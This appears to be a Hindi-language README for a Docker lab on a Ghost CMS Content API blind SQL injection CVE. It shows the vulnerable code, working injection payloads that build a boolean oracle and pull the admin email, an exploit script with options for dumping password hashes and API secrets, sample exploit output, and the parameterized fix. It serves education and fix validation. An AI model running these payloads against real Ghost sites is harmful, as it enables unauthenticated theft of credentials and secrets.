
CVE-2026-26980 — Ghost CMS Content API SQL इंजेक्शन लैब (स्लग फ़िल्टर ऑर्डरिंग के माध्यम से अनप्रमाणित ब्लाइंड SQLi)
| CVE | CVE-2026-26980 |
| Advisory | GHSA-w52v-v783-gw97 |
| CVSS | 9.4 (क्रिटिकल) |
| CWE | CWE-89 (SQL इंजेक्शन) |
| प्रभावित | Ghost 3.24.0 -- 6.19.0 |
| ठीक किया गया | Ghost 6.19.1 |
| प्रमाणीकरण आवश्यक | कोई नहीं (Content API कुंजी डिज़ाइन द्वारा सार्वजनिक है) |
| क्रेडिट/संदर्भ | Nicholas Carlini, Claude और Anthropic का उपयोग करते हुए [https://www.youtube.com/watch?v=1sd26pWhfmg] |
अस्वीकरण -- यह लैब केवल अधिकृत सुरक्षा परीक्षण, शिक्षा और रक्षात्मक अनुसंधान के लिए है। उन प्रणालियों के विरुद्ध उपयोग न करें जिनके स्वामी आप नहीं हैं या जिनके परीक्षण की स्पष्ट अनुमति आपके पास नहीं है।
Ghost का Content API स्लग द्वारा टैग और पोस्ट को फ़िल्टर करने के लिए ऐरे नोटेशन का समर्थन करता है: filter=slug:[tag-a,tag-b]। आंतरिक रूप से, एक सहायक फ़ंक्शन अनुरोधित स्लग क्रम को संरक्षित करने के लिए एक ORDER BY CASE स्टेटमेंट बनाता है। v6.19.1 से पहले, उपयोगकर्ता-आपूर्ति किए गए स्लग मानों को पैरामीटराइज़ेशन के बिना सीधे इस SQL में इंटरपोलेट किया जाता था:
// ghost/core/core/server/api/endpoints/utils/serializers/input/utils/slug-filter-order.js (कमजोर)
order += `WHEN \`${table}\`.\`slug\` = '${slug}' THEN ${index} `;
Content API कुंजी हर Ghost साइट के HTML में एम्बेडेड होती है (data-key="..."), जिससे यह पूरी तरह से अनप्रमाणित हमले की सतह बन जाती है।
Ghost का NQL क्वेरी भाषा फ़िल्टर इनपुट को मान्य करती है और कच्चे सिंगल कोट्स या स्पेस को अस्वीकार करती है। हालाँकि, NQL ऐरे नोटेशन के अंदर सिंगल-कोट-रैप्ड मानों को स्वीकार करता है (slug:['value']), कोट्स को लिटरल के हिस्से के रूप में पास करता है। slugFilterOrder regex इन मानों को निकालता है और उन्हें -- कोट्स सहित -- SQL में इंटरपोलेट करता है:
फ़िल्टर: slug:['||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||',news]
^ ^
NQL कोट्स को लिटरल वर्णों के रूप में पास करता है
इंटरपोलेशन के बाद ORDER BY बन जाता है:
CASE
WHEN `tags`.`slug` = ''||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||'' THEN 0
WHEN `tags`.`slug` = 'news' THEN 1
END ASC
MySQL के डिफ़ॉल्ट SQL मोड में, || OR है और '' असत्य है। यह हमें एक साफ बूलियन ओरेकल देता है:
| स्थिति | CASE परिणाम | प्रभाव |
|---|---|---|
| TRUE | '' OR 0 OR '' = 0 | सामान्य प्रतिक्रिया (HTTP 200) |
| FALSE | '' OR EXP(710) OR '' | DOUBLE ओवरफ्लो त्रुटि (HTTP 500) |
ओरेकल स्थापित होने के साथ, मानक बाइनरी-सर्च ब्लाइंड निष्कर्षण लागू होता है:
slug:['||CASE WHEN ORD(SUBSTR((SELECT email FROM users LIMIT 1) FROM 1 FOR 1)) > 64 THEN 0 ELSE EXP(710) END||',news]
SUBSTR(... FROM pos FOR len) सिंटैक्स कॉमा से बचता है (जिन पर slugFilterOrder विभाजित होता है)।
| TRUE (1=1) → HTTP 200 | FALSE (1=0) → HTTP 500 |
|---|---|
![]() | ![]() |





फिक्स स्ट्रिंग इंटरपोलेशन को पैरामीटराइज़्ड बाइंडिंग से बदल देता है:
// ठीक किया गया
caseParts.push(`WHEN \`${table}\`.\`slug\` = ? THEN ?`);
bindings.push(slug.trim(), index);
crud.js प्लगइन को orderByRaw के माध्यम से बाइंडिंग को थ्रेड करने के लिए अपडेट किया गया था, और @tryghost/bookshelf-plugins को 0.6.29 तक बढ़ाया गया था जो बाइंडिंग समर्थन जोड़ता है।
requests हो# क्लोन करें और लैब में प्रवेश करें
git clone <this-repo> && cd ghost-cve-2026-26980
# Python निर्भरता स्थापित करें
pip install -r requirements.txt
# कमजोर Ghost इंस्टेंस शुरू करें (6.18.0 + MySQL 8)
docker compose up -d
# Ghost को आरंभ करने के लिए ~45 सेकंड प्रतीक्षा करें, फिर एक्सप्लॉइट चलाएँ
python3 exploit.py --url http://localhost:2368
# पैच किए गए Ghost 6.19.1 को पोर्ट 2369 पर भी शुरू करें
docker compose --profile fixed up -d
# ~45 सेकंड प्रतीक्षा करें, फिर पुष्टि करें कि फिक्स इंजेक्शन को रोकता है
python3 exploit.py --url http://localhost:2369 --validate-fix
bash validate.sh
docker compose --profile fixed down -v
usage: exploit.py [-h] [--url URL] [--validate-fix] [--extract-password]
[--extract-api-key] [--content-key KEY] [-v]
options:
--url URL Ghost URL (डिफ़ॉल्ट: http://localhost:2368)
--validate-fix पुष्टि करें कि लक्ष्य कमजोर नहीं है
--extract-password एडमिन bcrypt हैश भी निकालें
--extract-api-key एडमिन API सीक्रेट भी निकालें
--content-key KEY सेटअप छोड़ें, इस Content API कुंजी का सीधे उपयोग करें
-v, --verbose प्रति-क्वेरी ओरेकल परिणाम दिखाएँ
====================================================
CVE-2026-26980 — Ghost CMS Content API SQL Injection
====================================================
[*] Ghost के http://localhost:2368 पर तैयार होने की प्रतीक्षा कर रहा है
[*] Ghost सेटअप कर रहा है (admin: [email protected])
[+] सेटअप पूर्ण — सत्र स्थापित कर रहा है
[+] लॉग इन किया गया
[+] Content API कुंजी: ad63c06a71457583ea58f050c1
[+] एंकर स्लग: news
[*] चरण 1 — बूलियन ब्लाइंड सत्यापन
CASE WHEN 1=1: 200 (TRUE)
CASE WHEN 1=0: 500 (FALSE)
[+] बूलियन ओरेकल की पुष्टि हुई — कमजोर
[*] चरण 2a — एडमिन ईमेल निकालना
एडमिन ईमेल की लंबाई मापना... 21 वर्ण
निकाला जा रहा है: [email protected]
[+] ईमेल: [email protected]
============================================================
एक्सप्लॉइटेशन सारांश
============================================================
लक्ष्य: http://localhost:2368
CVE: CVE-2026-26980
Content कुंजी: ad63c06a71457583ea58f050c1
एडमिन ईमेल: [email protected]
============================================================
उसी रिलीज़ में एक दूसरी कमजोरी को पैच किया गया था। Ghost का {{#get}} Handlebars हेल्पर पथ अभिव्यक्तियों को हल करने के लिए jsonpath पैकेज (जो static-eval पर निर्भर करता है) का उपयोग करता था। दुर्भावनापूर्ण थीम प्रोटोटाइप ट्रैवर्सल के माध्यम से Function() तक पहुँचने वाली अभिव्यक्तियाँ बना सकती थीं, जिससे सर्वर-साइड कोड निष्पादन प्राप्त होता था।
| CVE | CVE-2026-29053 |
| प्रभावित | Ghost 0.7.2 -- 6.19.0 |
| प्रमाणीकरण | एडमिन (थीम अपलोड) |
| फिक्स | jsonpath को एक प्रतिबंधित querySimplePath() फ़ंक्शन से बदल दिया गया जो केवल डॉट-नोटेशन, [N] और [*] का समर्थन करता है |
यह लैब CVE-2026-26980 पर केंद्रित है क्योंकि यह अनप्रमाणित है और बाहरी हमलावरों के लिए अधिक प्रभावशाली है।
.
├── README.md # यह फ़ाइल
├── docker-compose.yml # Ghost 6.18.0 (कमजोर) + 6.19.1 (ठीक किया गया) MySQL 8 के साथ
├── exploit.py # पूर्ण PoC: सेटअप, सत्यापन, निष्कर्षण
├── validate.sh # एंड-टू-एंड सत्यापन रैपर
└── requirements.txt # Python निर्भरताएँ
यह लैब MIT लाइसेंस के तहत शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए प्रदान किया गया है।